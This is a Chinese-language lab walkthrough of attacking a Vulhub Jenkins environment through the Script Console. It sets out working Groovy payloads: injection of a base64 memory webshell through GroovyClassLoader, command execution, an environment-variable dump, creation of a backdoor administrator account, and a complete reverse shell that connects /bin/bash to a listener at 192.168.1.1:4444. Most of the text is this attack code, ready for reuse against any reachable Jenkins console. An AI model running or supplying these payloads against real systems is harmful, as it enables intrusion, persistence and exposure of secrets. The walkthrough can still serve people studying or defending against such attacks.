漏洞搭建
通过Vulhub进行漏洞环境搭建
https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2024-23897
账号/密码:admin/vulhub
WEB服务端口8080
漏洞复现
内存马注入
通过账号密码登录后台,找到Script,或者直接拼接路径:/manage/script
使用JMG工具生成内存马:中间件/框架选择Jetty
执行注入内存马语句:
new groovy.lang.GroovyClassLoader().defineClass(null, java.util.Base64.getDecoder().decode("yv66vgAAADEBiQEAG2NvbS9nb29nbGUvZ3NvL2gvU3RyaW5nVXRpbAcAAQEAEGph…")).newInstance();
语句中yv66vgAAADEBiQEA...
为生成的base64内存马,我这里进行简写了。
执行结果:
连接内存马
后台相关命令
普通执行命令
命令:
println "whoami".execute().text
执行结果:
获取环境变量
命令:
def env = System.getenv()
println "${env}"
执行结果:
创建用户
命令:
import jenkins.model.*
import hudson.security.*
def instance = Jenkins.getInstance()
def hudsonRealm = new HudsonPrivateSecurityRealm(false)
hudsonRealm.createAccount("ccav","123qwe!@#...")
instance.setSecurityRealm(hudsonRealm)
instance.save()
执行结果:
退出当前用户,使用尝试新创建的ccav用户进行登录:(登录成功)
执行反弹SHELL
命令:
String host="192.168.1.1";
int port=4444;
String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
192.168.1.1为监听IP,4444为监听端口。
参考链接
https://mp.weixin.qq.com/s?__biz=MzAxNzkyOTgxMw==&mid=2247492751&idx=1&sn=3424a049140716d2c3f42d254314ffee